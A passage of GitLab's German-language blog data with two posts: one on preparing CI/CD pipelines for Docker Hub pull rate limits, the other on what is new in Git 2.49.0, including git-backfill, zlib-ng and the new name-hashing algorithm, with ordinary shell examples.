[GitLab-Abhängigkeits-Proxy](https://gitlab.com/gitlab-org/gitlab/-/issues/331741) hinzugefügt. Dadurch kann der Abhängigkeits-Proxy Images als angemeldeter Benutzer von Docker Hub pullen, wodurch die Grenzwerte erheblich erhöht werden.\n* **Aktualisierung der Dokumentation:** Wir haben unsere [Dokumentation (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/user/packages/dependency_proxy/#configure-credentials) aktualisiert. Sie stellt jetzt eine klare Anleitung zur Konfiguration der Pipeline-Authentifizierung für Docker Hub zur Verfügung.\n* **Vorbereitung der internen Infrastruktur:** Wir bereiten unsere interne Infrastruktur vor, um die Auswirkungen auf gehostete Runner für GitLab.com zu minimieren.\n\n## So kannst du dich vorbereiten\n\n**Option 1: Konfiguriere die Docker-Hub-Authentifizierung in deinen Pipelines**\n\nFür Pipelines, die direkt von Docker Hub pullen, kannst du die Authentifizierung so konfigurieren, dass deine Ratenbegrenzung auf 100 Pulls pro Stunde erhöht wird (mit einem kostenpflichtigen Docker-Hub-Abo ist sie sogar unbegrenzt).\n\nFüge die Docker-Hub-Anmeldedaten zu den CI/CD-Variablen deines Projekts oder deiner Gruppe hinzu (nicht in deiner `.gitlab-ci.yml`-Datei). Ausführliche Anweisungen zur korrekten Einrichtung der CI/CD-Variable `DOCKER_AUTH_CONFIG` findest du in unserer [Dokumentation zur Verwendung von Docker-Images (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ci/docker/using_docker_images/#use-statically-defined-credentials).\n\n**Option 2: Verwende die GitLab-Container-Registry**\n\nDu kannst deine häufig verwendeten Docker-Images in deine [GitLab-Container-Registry (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/user/packages/container_registry/) übertragen. So musst du während der CI/CD-Ausführung nicht mehr von Docker Hub pullen:\n\n1. Pulle das Image von Docker Hub.\n2. Kennzeichne es für deine GitLab-Container-Registry.\n3. Pushe es in deine GitLab-Container-Registry.\n4. Aktualisiere deine Pipelines, dass sie das Image von der GitLab-Container-Registry abrufen.\n\n```\ndocker pull busybox:latest\ndocker tag busybox:latest $CI_REGISTRY_IMAGE/busybox:latest\ndocker push $CI_REGISTRY_IMAGE/busybox:latest\n```\n\nIn deiner `.gitlab-ci.yml`-Datei fügst du dann folgende Zeile hinzu:\n\n`image: $CI_REGISTRY_IMAGE/busybox:latest`\n\n**Option 3: Verwende den GitLab-Abhängigkeits-Proxy**\n\nMit dem Abhängigkeits-Proxy von GitLab kannst du Docker-Images zwischenspeichern und übertragen. Dies reduziert externe Abhängigkeiten und somit Probleme mit der Ratenbegrenzung.\n\nAktuelle Authentifizierungsoptionen:\n* GitLab 17.10: Konfiguriere die Docker-Hub-Authentifizierung für den Abhängigkeits-Proxy mit der [GraphQL API (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/user/packages/dependency_proxy/#configure-credentials-using-the-graphql-api)\n* GitLab 17.11: Verwende die neue UI-basierte Konfiguration in den Einstellungen deiner Gruppe (bereits auf GitLab.com verfügbar)\n\nSobald die Authentifizierung ordnungsgemäß konfiguriert ist, kannst du Folgendes tun:\n\n1. Konfiguriere die Docker-Hub-Anmeldeinformationen in den Einstellungen des Abhängigkeits-Proxys deiner Gruppe:\n  - Für GitLab 17.11+ (oder die aktuelle Version von GitLab.com): Navigiere zu den Einstellungen deiner Gruppe > Pakete und Registries > Abhängigkeits-Proxy.\n  - Für GitLab 17.10: Verwende die GraphQL-API, um die Authentifizierung zu konfigurieren.\n2. Aktualisiere deine Pipelines, sodass sie die Dependency-Proxy-URLs in deiner CI/CD-Konfiguration verwenden:\n`image: ${CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX}/busybox:latest`\n\n**Option 4: Überlege dir, ein kostenpflichtiges Docker-Hub-Abonnement abzuschließen**\n\nUnternehmen, die Docker Hub intensiv nutzen, ist das Upgrade auf ein kostenpflichtiges Docker-Abonnement (Team oder Business) möglicherweise die einfachste Lösung, da es unbegrenzt viele Pulls ermöglicht.\n\n## Best Practices zur Reduzierung der Auswirkungen der Docker-Hub-Ratenbegrenzung\n\nUnabhängig davon, welche Option du wählst, helfen dir diese Best Practices dabei, die Auswirkungen der Docker-Hub-Ratenbegrenzung zu minimieren:\n\n* Verwende eindeutige Image-Tags anstelle von `latest`, um unnötige Pulls zu vermeiden.\n* Konsolidiere deine Docker-Dateien, sodass sie projektübergreifend dieselben Basis-Images verwenden.\n* Plane weniger kritische Pipelines so, dass sie außerhalb der Stoßzeiten ausgeführt werden.\n* Verwende Caching effektiv, um zu vermeiden, dass dieselben Images wiederholt gepullt werden.\n\n**Hinweis:** Gemäß der [Dokumentation](https://docs.docker.com/docker-hub/usage/pulls/#pull-definition) von Docker Hub wird der Counter für die Anzahl der Pulls erhöht, wenn das Image-Manifest gepullt wird, und nicht basierend auf der Image-Größe oder der Anzahl der Ebenen.\n\n## Zeitplan und nächste Schritte\n\n**Jetzt**\n  * Implementiere die Authentifizierung für direkte Pulls von Docker Hub.\n  * Als Benutzer(in) von GitLab.com kannst du die Docker-Hub-Authentifizierung für den Abhängigkeits-Proxy bereits konfigurieren, indem du entweder:\n    * die GraphQL-API oder\n    * die Benutzeroberfläche in den Gruppeneinstellungen verwendest\n  * Benutzer(innen) von GitLab Self-Managed 17.10 können die Abhängigkeits-Proxy-Authentifizierung über die GraphQL-API konfigurieren.\n\n**1. April 2025**\n  * Die Ratenbegrenzungen für Docker Hub treten in Kraft.\n\n**17. April 2025**\n  * GitLab 17.11 wird mit UI-basierter Unterstützung für die Authentifizierung des Abhängigkeits-Proxy für Self-Managed-Instanzen veröffentlicht. \n\nDu solltest rechtzeitig vor Ablauf der Frist am 1. April Maßnahmen ergreifen, um unerwartete Pipeline-Fehler zu vermeiden. Für die meisten Benutzer(innen) ist die Konfiguration des Abhängigkeits-Proxys mit der Docker-Hub-Authentifizierung die effizienteste Langzeitlösung.\n\n> Hast du Fragen oder benötigst du Hilfe bei der Implementierung? Sieh dir [dieses Ticket an](https://gitlab.com/gitlab-org/gitlab/-/issues/526605), wo unser Team aktiv Unterstützung bietet.","bulletin-board",[110,723,746],"2025-04-21",{"slug":1917,"featured":92,"template":682},"prepare-now-docker-hub-rate-limits-will-impact-gitlab-ci-cd","content:de-de:blog:prepare-now-docker-hub-rate-limits-will-impact-gitlab-ci-cd.yml","Prepare Now Docker Hub Rate Limits Will Impact Gitlab Ci Cd","de-de/blog/prepare-now-docker-hub-rate-limits-will-impact-gitlab-ci-cd.yml","de-de/blog/prepare-now-docker-hub-rate-limits-will-impact-gitlab-ci-cd",{"_path":1923,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1924,"content":1929,"config":1936,"_id":1938,"_type":16,"title":1939,"_source":17,"_file":1940,"_stem":1941,"_extension":20},"/de-de/blog/whats-new-in-git-2-49-0",{"ogTitle":1925,"schema":1926,"ogImage":1025,"ogDescription":1927,"ogSiteName":1396,"noIndex":6,"ogType":1397,"ogUrl":1928,"title":1925,"canonicalUrls":1928,"description":1927},"Was gibt es Neues in Git 2.49.0?","{\n  \"@context\": \"https://schema.org\",\n  \"@type\": \"Article\",\n  \"@headline\": \"Was gibt es Neues in Git 2.49.0?\",\n  \"author\": [{\"@type\":\"Person\",\"name\":\"Toon Claes\"}],\n  \"datePublished\": \"2025-03-14\"\n}\n","Erfahre mehr über die neueste Version von Git, einschließlich verbesserter Leistung dank zlib-ng, einem neuen Algorithmus zum Hashing von Namen und git-backfill(1).","https://about.gitlab.com/blog/whats-new-in-git-2-49-0",{"heroImage":1025,"body":1930,"authors":1931,"updatedDate":1813,"date":1933,"title":1934,"tags":1935,"description":1927,"category":1033},"Das Git-Projekt hat kürzlich\n[Git 2.49.0](https://lore.kernel.org/git/xmqqfrjfilc8.fsf@gitster.g/)\nveröffentlicht. Werfen wir einen Blick auf die Highlights dieser Version,\ndie Beiträge des Git-Teams von GitLab und der gesamten Git-Community\nenthält.\n\n\nDas erwartet dich:\n\n- [git-backfill(1) und die neue Pfad-API](#git-backfill(1)-and-the-new-path-walk-api)\n\n- [Einführung von zlib-ng](#introduction-of-zlib-ng)\n\n- [Weitere Iteration auf Meson](#continued-iteration-on-meson)\n\n- [Einstellung von .git/branches/ und .git/remotes/](#deprecation-of-.gitbranches%2F-and-.git%2Fremotes%2F)\n\n- [Rust-Datenbindungen für libgit](#rust-bindings-for-libgit)\n\n- [Neuer Namenshashing-Algorithmus](#new-name-hashing-algorithm)\n\n- [Promisor-Remote-Fähigkeit](#promisor-remote-capability)\n\n- [Flacher Klon mit `--revision`](#thin-clone-using---revision)\n\n\n## git-backfill(1) und die neue Pfad-API\n\n\nWenn du ein Git-Repository [mit `git-clone(1)` klonst](https://git-scm.com/docs/git-clone/de), kannst du die Option [`--filter`](https://git-scm.com/docs/git-clone/de#git-clone---filterltFilter-Spezifikationgt) übergeben. Mit dieser Option kannst du einen _partiellen Klon_ erstellen. In einem partiellen Klon sendet der Server nur eine Teilmenge der erreichbaren Objekte gemäß dem angegebenen Objektfilter. Wenn du beispielsweise einen Klon mit `--filter=blob:none` erstellst, werden keine Blobs (Dateiinhalte) vom Server abgerufen und es wird ein _blobless Klon_ erstellt.\n\n\nBlobless-Klone haben alle erreichbaren Commits und Verzeichnisse, aber keine Blobs. Wenn du einen Vorgang wie [`git-checkout(1)`](https://git-scm.com/docs/git-checkout) durchführst, lädt Git die fehlenden Blobs herunter, um den Vorgang abzuschließen. Bei einigen Operationen wie [`git-blame(1)`](https://git-scm.com/docs/git-blame) kann dies dazu führen, dass Objekte einzeln heruntergeladen werden, wodurch der Befehl deutlich langsamer wird.\n\nDiese Leistungseinbuße der Performance tritt auf, weil `git-blame(1)` den Commit-Verlauf durchsuchen muss, um herauszufinden, welche spezifischen Blobs benötigt werden. Dann muss es jeden fehlenden Blob einzeln beim Server anfragen.\n\n\nIn Git 2.49 wird der neue Unterbefehl `git-backfill(1)` eingeführt, der verwendet werden kann, um fehlende Blobs in einem partiellen Blobless-Klon herunterzuladen.\n\n\nIm Hintergrund nutzt der Befehl `git-backfill(1)` die neue Pfad-API, die sich davon unterscheidet, wie Git normalerweise über Commits iteriert. Anstatt die Commits einzeln durchzugehen und die mit jedem Commit verbundenen Strukturen und Blobs rekursiv zu besuchen, durchläuft die Path-walk API die Daten nach Pfaden. Für jeden Pfad fügt sie eine Liste der assoziierten Strukturobjekte zu einem Verarbeitungsstapel hinzu. Dieser Verarbeitungsstapel wird dann in der Reihenfolge „Depth-First“ verarbeitet. Anstatt also jedes Objekt im Commit `1` zu verarbeiten, bevor sie zu Commit `2` weitergeht, verarbeitet die API alle Versionen von Datei `A` in allen Commits, bevor sie zu Datei `B` weitergeht. Dieser Ansatz verbessert die Leistung in Szenarien, in denen die Gruppierung nach Pfad unerlässlich ist, erheblich.\n\n\nIch verdeutliche dies in diesem Beispiel, indem ich einen Blobless-Klon von [`gitlab-org/git`](https://gitlab.com/gitlab-org/git) erstelle:\n\n\n\n```shell\n\n$ git clone --filter=blob:none --bare --no-tags git@gitlab.com:gitlab-org/git.git\n\nCloning into bare repository 'git.git'...\n\nremote: Enumerating objects: 245904, done.\n\nremote: Counting objects: 100% (1736/1736), done.\n\nremote: Compressing objects: 100% (276/276), done.\n\nremote: Total 245904 (delta 1591), reused 1547 (delta 1459), pack-reused 244168 (from 1)\n\nReceiving objects: 100% (245904/245904), 59.35 MiB | 15.96 MiB/s, done.Resolving deltas: 100% (161482/161482), done.\n\n```\n\n\nOben verwenden wir `--bare`, um sicherzustellen, dass Git keine Blobs herunterladen muss, um den initialen Branch zu überprüfen. Wir können verifizieren, dass dieser Klon keine Blobs enthält:\n\n\n```sh\n\n$ git cat-file --batch-all-objects --batch-check='%(objecttype)' | sort | uniq -c\n  83977 commit\n 161927 tree\n```\n\n\nWenn du die Inhalte einer Datei im Repository anzeigen möchtest, muss Git sie herunterladen:\n\n\n```sh\n\n$ git cat-file -p HEAD:README.md\n\nremote: Enumerating objects: 1, done.\n\nremote: Total 1 (delta 0), reused 0 (delta 0), pack-reused 1 (from 1)\n\nReceiving objects: 100% (1/1), 1.64 KiB | 1.64 MiB/s, done.\n\n\n[![Build status](https://github.com/git/git/workflows/CI/badge.svg)](https://github.com/git/git/actions?query=branch%3Amaster+event%3Apush)\n\n\nGit - fast, scalable, distributed revision control system\n\n=========================================================\n\n\nGit is a fast, scalable, distributed revision control system with an\n\nunusually rich command set that provides both high-level operations\n\nand full access to internals.\n\n\n[snip]\n\n```\n\n\nWie du oben sehen kannst, kommuniziert Git zuerst mit dem Remote-Repository, um den Blob herunterzuladen, bevor er angezeigt werden kann.\n\n\nWenn du `git-blame(1)` für die Datei ausführen möchtest, muss es viel mehr herunterladen:\n\n\n```sh\n\n$ git blame HEAD README.md\n\nremote: Enumerating objects: 1, done.\n\nremote: Counting objects: 100% (1/1), done.\n\nremote: Total 1 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)\n\nReceiving objects: 100% (1/1), 1.64 KiB | 1.64 MiB/s, done.\n\nremote: Enumerating objects: 1, done.\n\nremote: Counting objects: 100% (1/1), done.\n\nremote: Total 1 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)\n\nReceiving objects: 100% (1/1), 1.64 KiB | 1.64 MiB/s, done.\n\nremote: Enumerating objects: 1, done.\n\nremote: Counting objects: 100% (1/1), done.\n\nremote: Total 1 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)\n\nReceiving objects: 100% (1/1), 1.64 KiB | 1.64 MiB/s, done.\n\nremote: Enumerating objects: 1, done.\n\n\n[snip]\n\n\ndf7375d772 README.md (Ævar Arnfjörð Bjarmason 2021-11-23 17:29:09 +0100  1) [![Build status](https://github.com/git/git/workflows/CI/badge.svg)](https://github.com/git/git/actions?query=branch%3Amaster+event%3Apush)\n\n5f7864663b README.md (Johannes Schindelin \t2019-01-29 06:19:32 -0800  2)\n\n28513c4f56 README.md (Matthieu Moy        \t2016-02-25 09:37:29 +0100  3) Git - fast, scalable, distributed revision control system\n\n28513c4f56 README.md (Matthieu Moy        \t2016-02-25 09:37:29 +0100  4) =========================================================\n\n556b6600b2 README\t(Nicolas Pitre       \t2007-01-17 13:04:39 -0500  5)\n\n556b6600b2 README\t(Nicolas Pitre       \t2007-01-17 13:04:39 -0500  6) Git is a fast, scalable, distributed revision control system with an\n\n556b6600b2 README\t(Nicolas Pitre       \t2007-01-17 13:04:39 -0500  7) unusually rich command set that provides both high-level operations\n\n556b6600b2 README\t(Nicolas Pitre       \t2007-01-17 13:04:39 -0500  8) and full access to internals.\n\n556b6600b2 README\t(Nicolas Pitre       \t2007-01-17 13:04:39 -0500  9)\n\n\n[snip]\n\n```\n\n\nWir haben die Ausgabe abgeschnitten, aber du siehst, dass Git für jede Revision dieser Datei separat auf den Server zugreift. Das ist wirklich ineffizient. Mit `git-backfill(1)` können wir Git anweisen, alle Blobs herunterzuladen:\n\n\n```shell\n\n$ git backfill\n\nremote: Enumerating objects: 50711, done.\n\nremote: Counting objects: 100% (15438/15438), done.\n\nremote: Compressing objects: 100% (708/708), done.\n\nremote: Total 50711 (delta 15154), reused 14730 (delta 14730), pack-reused 35273 (from 1)\n\nReceiving objects: 100% (50711/50711), 11.62 MiB | 12.28 MiB/s, done.\n\nResolving deltas: 100% (49154/49154), done.\n\nremote: Enumerating objects: 50017, done.\n\nremote: Counting objects: 100% (10826/10826), done.\n\nremote: Compressing objects: 100% (634/634), done.\n\nremote: Total 50017 (delta 10580), reused 10192 (delta 10192), pack-reused 39191 (from 1)\n\nReceiving objects: 100% (50017/50017), 12.17 MiB | 12.33 MiB/s, done.\n\nResolving deltas: 100% (48301/48301), done.\n\nremote: Enumerating objects: 47303, done.\n\nremote: Counting objects: 100% (7311/7311), done.\n\nremote: Compressing objects: 100% (618/618), done.\n\nremote: Total 47303 (delta 7021), reused 6693 (delta 6693), pack-reused 39992 (from 1)\n\nReceiving objects: 100% (47303/47303), 40.84 MiB | 15.26 MiB/s, done.\n\nResolving deltas: 100% (43788/43788), done.\n\n```\n\n\nDadurch werden alle Blobs wieder aufgefüllt und der Blobless-Klon wird zu einem vollständigen Klon:\n\n\n```shell\n\n$ git cat-file --batch-all-objects --batch-check='%(objecttype)' | sort | uniq -c\n 148031 blob\n  83977 commit\n 161927 tree\n```\n\n\nDieses [Projekt](https://lore.kernel.org/git/pull.1820.v3.git.1738602667.gitgitgadget@gmail.com/) wurde von [Derrick Stolee](https://stolee.dev/) geleitet und mit [e565f37553](https://gitlab.com/gitlab-org/git/-/commit/e565f3755342caf1d21e22359eaf09ec11d8c0ae) zusammengeführt.\n\n\n> **Über 6,4 Mio. Builds pro Monat: So transformiert Siemens seine Softwareentwicklung mit GitLab** Über 40.000 Entwickler(innen) bei Siemens nutzen GitLab, um weltweit zusammenzuarbeiten und jeden Monat mehr als 6,4 Millionen Software-Versionen automatisch bereitzustellen. Erfahre, wie eine offene DevOps-Kultur und eine zentrale Plattform die Effizienz und Sicherheit steigern. [Erfolgsstory lesen](https://about.gitlab.com/de-de/customers/siemens/)\n\n\n## Einführung von zlib-ng\n\n\nAlle Objekte im Ordner `.git/` werden von Git mit [`zlib`](https://zlib.net/) komprimiert. `zlib` ist die Referenzimplementierung für das [RFC-1950-Format](https://datatracker.ietf.org/doc/html/rfc1950): ZLIB Compressed Data Format. `zlib` wurde 1995 entwickelt, hat eine lange Geschichte und ist unglaublich portabel, denn es unterstützt sogar viele Systeme, die älter als das Internet sind. Dank der breiten Unterstützung von Architekturen und Compilern ist es jedoch in seinen Fähigkeiten eingeschränkt.\n\n\nDer Fork [`zlib-ng`](https://github.com/zlib-ng/zlib-ng) wurde erstellt, um auf diese Einschränkungen einzugehen, denn `zlib-ng` ist für moderne Systeme optimiert. Dieser Fork verzichtet auf die Unterstützung von Legacy-Systemen und bietet stattdessen Patches für Intel-Optimierungen, einige Cloudflare-Optimierungen sowie mehrere kleinere Patches.\n\n\nDie Bibliothek `zlib-ng` selbst bietet einen Kompatibilitätslayer für `zlib`. Der Kompatibilitätslayer macht es möglich, dass `zlib-ng` ein Drop-in-Ersatz für `zlib` ist, ist jedoch nicht auf allen Linux-Distributionen verfügbar. In Git 2.49 gibt es folgende Neuerungen:\n\n\n- Ein Kompatibilitätslayer wurde zum Git-Projekt hinzugefügt.\n\n- Build-Optionen wurden sowohl zur Datei [`Makefile`](https://gitlab.com/gitlab-org/git/-/blob/b9d6f64393275b505937a8621a6cc4875adde8e0/Makefile#L186-187) als auch zur [Meson-Build-Datei](https://gitlab.com/gitlab-org/git/-/blob/b9d6f64393275b505937a8621a6cc4875adde8e0/meson.build#L795-811) hinzugefügt.\n\n\nMit diesen Ergänzungen kann man einfacher von der verbesserten Performance von `zlib-ng` profitieren.\n\n\nIn lokalen Benchmark konnte die Geschwindigkeit um rund 25 % gesteigert werden, wenn `zlib-ng` anstelle von `zlib` verwendet wurde. Wir sind dabei, diese Änderungen auch für GitLab.com auszurollen.\n\n\nWenn du von den Vorteilen von `zlib-ng` profitieren möchtest, überprüfe zuerst, ob Git auf deinem Gerät bereits `zlib-ng` verwendet, indem du `git version --build-options` ausführst:\n\n\n```shell\n\n$ git version --build-options\n\ngit version 2.47.1\n\ncpu: x86_64\n\nno commit associated with this build\n\nsizeof-long: 8\n\nsizeof-size_t: 8\n\nshell-path: /bin/sh\n\nlibcurl: 8.6.0\n\nOpenSSL: OpenSSL 3.2.2 4 Jun 2024\n\nzlib: 1.3.1.zlib-ng\n\n```\n\n\nWenn die letzte Zeile `zlib-ng` enthält, verwendet dein Git bereits die schnellere Variante von `zlib`. Wenn nicht, kannst du folgendermaßen vorgehen:\n\n\n- Bitte den/die Betreuer(in) des Git-Pakets, das du verwendest, die Unterstützung für `zlib-ng` hinzuzufügen; oder\n\n- Erstelle Git selbst aus der Quelle.\n\n\nDiese [Änderungen](https://gitlab.com/gitlab-org/git/-/commit/9d0e81e2ae3bd7f6d8a655be53c2396d7af3d2b0) wurden von [Patrick Steinhardt](https://gitlab.com/pks-gitlab) [eingeführt](https://lore.kernel.org/git/20250128-b4-pks-compat-drop-uncompress2-v4-0-129bc36ae8f5@pks.im/).\n\n\n## Weitere Iteration auf Meson\n\n\nIn unserem Artikel über die Git-Version 2.48 haben wir über [die Einführung des Meson-Build-Systems](https://about.gitlab.com/de-de/blog/whats-new-in-git-2-48-0/#meson-build-system) gesprochen. [Meson](https://de.wikipedia.org/wiki/Meson_(Build-System)) ist ein Tool für die Build-Automatisierung, das vom Git-Projekt genutzt wird und irgendwann [Autoconf](https://de.wikipedia.org/wiki/GNU_Build_System#GNU_Autoconf),\n\n[CMake](https://de.wikipedia.org/wiki/CMake) und sogar [Make](https://de.wikipedia.org/wiki/Make) ersetzen könnte.\n\n\nIn diesem Release-Zyklus wurde weiter an der Nutzung von Meson gearbeitet und es wurden verschiedene fehlende Funktionen und Fixes zur Stabilisierung eingeführt:\n\n\n- Die [verbesserte Testabdeckung für CI](https://lore.kernel.org/git/20250122-b4-pks-meson-additions-v3-0-5a51eb5d3dcd@pks.im/) wurde in [72f1ddfbc9](https://gitlab.com/gitlab-org/git/-/commit/72f1ddfbc95b47c6011bb423e6947418d1d72709) zusammengeführt.\n  - [Einzelne Elemente für die Nutzung von Meson in `contrib/`](https://lore.kernel.org/git/20250219-b4-pks-meson-contrib-v2-0-1ba5d7fde0b9@pks.im/) wurden in [2a1530a953](https://gitlab.com/gitlab-org/git/-/commit/2a1530a953cc4d2ae62416db86c545c7ccb73ace) zusammengeführt.\n  - [Verschiedene Fixes und Verbesserungen für das Build-Verfahren basierend auf Meson](https://lore.kernel.org/git/20250226-b4-pks-meson-improvements-v3-0-60c77cf673ae@pks.im/) wurden in [ab09eddf60](https://gitlab.com/gitlab-org/git/-/commit/ab09eddf601501290b5c719574fbe6c02314631f) zusammengeführt.\n  - [Meson wurde auf die Erstellung von `git-subtree(1)` aufmerksam gemacht](https://lore.kernel.org/git/20250117-b4-pks-build-subtree-v1-0-03c2ed6cc42e@pks.im/), was in [3ddeb7f337](https://gitlab.com/gitlab-org/git/-/commit/3ddeb7f3373ae0e309d9df62ada24375afa456c7) zusammengeführt wurde.\n  - [Die Dokumentationsseite für die Einführung in Meson, um HTML zu erzeugen](https://lore.kernel.org/git/20241227-b4-pks-meson-docs-v2-0-f61e63edbfa1@pks.im/) wurde in [1b4e9a5f8b](https://gitlab.com/gitlab-org/git/-/commit/1b4e9a5f8b5f048972c21fe8acafe0404096f694) zusammengeführt.\n\nAll diese Bemühungen wurden von [Patrick Steinhardt](https://gitlab.com/pks-gitlab) durchgeführt.\n\n\n## Einstellung von .git/branches/ und .git/remotes/\n\n\nDu weißt wahrscheinlich, dass das Verzeichnis `.git` existiert und was es enthält. Hast du aber schon einmal von den Unterverzeichnissen `.git/branches/` und `.git/remotes/` gehört? Wie du vielleicht weißt, werden Referenzen auf Branches in `.git/refs/heads/` gespeichert. Wozu dienen also `.git/branches/` und `.git/remotes/`?\n\n\nBereits 2005 wurde [`.git/branches/`](https://git-scm.com/docs/git-fetch#_named_file_in_git_dirbranches) eingeführt, um Kurznamen für ein Remote zu speichern. Wenige Monate später wurden diese zu [`.git/remotes/`](https://git-scm.com/docs/git-fetch#_named_file_in_git_dirremotes) verschoben.\n\nIm Jahr [2006](https://lore.kernel.org/git/Pine.LNX.4.63.0604301520460.2646@wbgn013.biozentrum.uni-wuerzburg.de/) lernte [`git-config(1)`](https://git-scm.com/docs/git-config), [Remotes](https://git-scm.com/docs/git-config#Documentation/git-config.txt-remoteltnamegturl) zu speichern.\n\nDies wurde zur Standardmethode, um Remotes zu konfigurieren. 2011 wurden die Verzeichnisse `.git/branches/` and `.git/remotes/` als veraltet [dokumentiert](https://gitlab.com/git-scm/git/-/commit/3d3d282146e13f2d7f055ad056956fd8e5d7ed29#e615263aaf131d42be8b0d0888ebd3fec954c6c9_132_124) und nicht mehr in modernen Repositories verwendet.\n\n\nIm Jahr 2024 wurde das Dokument [BreakingChanges](https://git-scm.com/docs/BreakingChanges) angelegt, um grundlegende Änderungen für die nächste große Git-Version (v3.0) darzulegen. Diese Release ist zwar in nächster Zeit nicht geplant, doch in diesem Dokument werden Änderungen dokumentiert, die wahrscheinlich Teil dieser kommenden Release sind.\n\nIn [8ccc75c245](https://gitlab.com/git-scm/git/-/commit/8ccc75c2452b5814d2445d60d54266293ca48674) wurde die Verwendung der Verzeichnisse `.git/branches/` und `.git/remotes/` zu diesem Dokument hinzugefügt, wodurch sie offiziell als veraltet gelten und in Version Git 3.0 nicht mehr enthalten sein werden.\n\n\nVielen Dank an [Patrick Steinhardt](https://gitlab.com/pks-gitlab), der [diese Einstellung formalisiert hat](https://lore.kernel.org/git/20250122-pks-remote-branches-deprecation-v4-5-5cbf5b28afd5@pks.im/).\n\n\n## Rust-Datenbindungen für libgit\n\n\nBeim Kompilieren von Git wird die interne Bibliothek `libgit.a` erstellt. Diese Bibliothek enthält einige Kernfunktionen von Git.\n\n\nDiese Bibliothek ist (wie der Großteil von Git) zwar in C geschrieben, in Git 2.49 wurden jedoch Datenbindungen hinzugefügt, damit einige dieser Funktionen auch in Rust zur Verfügung stehen. Dazu wurden zwei neue Cargo-Pakete erstellt: `libgit-sys` und `libgit-rs`. Diese Pakete befinden sich im Unterverzeichnis [`contrib/`](https://gitlab.com/gitlab-org/git/-/tree/master/contrib) im Git-Quellbaum.\n\n\nEs ist [üblich](https://doc.rust-lang.org/cargo/reference/build-scripts.html#-sys-packages), eine Bibliothek in zwei Pakete zu unterteilen, wenn ein [Foreign Function Interface](https://en.wikipedia.org/wiki/Foreign_function_interface) verwendet wird.\n\nDas Paket `libgit-sys` bietet die reine Schnittstelle zu C-Funktionen und verknüpft zur nativen Bibliothek `libgit.a`. Das Paket `libgit-rs` bietet eine Schnittstelle zu den Funktionen in `libgit-sys` mit einem für Rust typischen Gefühl.\n\n\nBisher ist die Funktionalität in diesen Rust-Paketen sehr begrenzt. Es wird nur eine Schnittstelle zur Interaktion mit `git-config(1)` geboten.\n\n\nDiese Initiative wurde von [Josh Steadmon](https://lore.kernel.org/git/8793ff64a7f6c4c04dd03b71162a85849feda944.1738187176.git.steadmon@google.com/) geleitet und mit [a4af0b6288](https://gitlab.com/gitlab-org/git/-/commit/a4af0b6288e25eb327ae9018cee09def9e43f1cd) zusammengeführt.\n\n\n## Neuer Namenshashing-Algorithmus\n\n\nDie Git-Objektdatenbank in `.git/` speichert die meisten ihrer Daten in Paketierungsdateien. Packfiles wurden verwendet, um Objekte über Kabel zwischen dem Git-Server und dem Client zu übertragen.\n\n\nAlles über das Format erfährst du unter [`gitformat-pack(5)`](https://git-scm.com/docs/gitformat-pack). Ein wichtiger Aspekt der Paketierungsdateien ist die Delta-Komprimierung. Bei der Delta-Komprimierung wird nicht jedes Objekt so gespeichert, wie es ist, sondern manche Objekte werden als _delta_ einer anderen _base_ gespeichert. Anstatt also den gesamten Inhalt der Objekte zu speichern, werden die Änderungen im Vergleich zu einem anderen Objekt gespeichert.\n\n\nOhne auf die Details einzugehen, wie diese Deltas berechnet oder gespeichert werden, kannst du dir vorstellen, dass es wichtig ist, sehr ähnliche Dateien zu gruppieren. In v2.48 und früheren Versionen verglich Git die letzten 16 Zeichen der Pfadnamen, um festzustellen, ob Blobs ähnlich sind. Dieser Algorithmus wird Version `1` genannt.\n\n\nAb Git 2.49 ist Version `2` verfügbar. Dies ist eine Iteration von Version `1`, jedoch so verändert, dass die Auswirkungen des übergeordneten Verzeichnisses reduziert werden. Du kannst die Version des Namenshashing-Algorithmus, die du verwenden möchtest, mit der Option `--name-hash-version` von [`git-repack(1)`](https://git-scm.com/docs/git-repack) festlegen.\n\n\n[Derrick Stolee](https://stolee.dev/), der dieses Projekt vorangetrieben hat, verglich die resultierende Größe der Paketierungsdateien, nachdem er `git repack -adf --name-hash-version=\u003Cn>` ausgeführt hatte:\n\n\n| Repository                                          \t| Größe Version 1   | Größe Version 2 |\n\n|---------------------------------------------------|-----------|---------|\n\n| [fluentui](https://github.com/microsoft/fluentui) | 440 MB \t| 161 MB   |\n\n| Repository B                                        \t| 6.248 MB   | 856 MB   |\n\n| Repository C                                        \t| 37.278 MB  | 6.921 MB |\n\n| Repository D                                        \t| 131.204 MB | 7.463 MB |\n\n\nWeitere Details findest du im [Patch-Set](https://lore.kernel.org/git/pull.1823.v4.git.1738004554.gitgitgadget@gmail.com/), das in [aae91a86fb](https://gitlab.com/gitlab-org/git/-/commit/aae91a86fb2a71ff89a71b63ccec3a947b26ca51) zusammengeführt wurde.\n\n\n## Promisor-Remote-Fähigkeit\n\n\nEs ist bekannt, dass Git nicht gut mit großen Dateien umgehen kann. Es gibt einige Lösungen für dieses Problem wie [Git LFS](https://git-lfs.com/), die jedoch immer noch Mängel aufweisen. Einige davon sind Folgende:\n\n\n- Mit Git LFS muss der/die Benutzer(in) konfigurieren, welche Dateien in den LFS kommen sollen. Der Server hat keine Kontrolle darüber und muss alle Dateien bereitstellen.\n\n- Wenn eine Datei ins Repository committet wird, gibt es keine Möglichkeit, sie wieder herauszuholen, ohne den Verlauf neu zu schreiben. Das ist vor allem bei großen Dateien ärgerlich, da sie dadurch für immer dort festhängen.\n\n- Benutzer(innen) können nicht ändern, welche Dateien im Git LFS abgelegt werden sollen.\n\n- Es ist schwierig, ein Tool wie Git LFS richtig einzurichten, den Umgang damit zu erlernen und es zu nutzen.\n\n\nSeit einiger Zeit verfügt Git über das Konzept der Promisor Remotes. Diese Funktion kann für große Dateien genutzt werden und wurde in Git 2.49 noch einen Schritt weiterentwickelt.\n\n\nDie Idee hinter der neuen Promisor-Remote-Fähigkeit ist relativ einfach: Anstatt alle Objekte selbst zu senden, kann ein Git-Server dem Git-Client sagen: „Lade diese Objekte von _XYZ_ herunter.“ _XYZ_ ist der 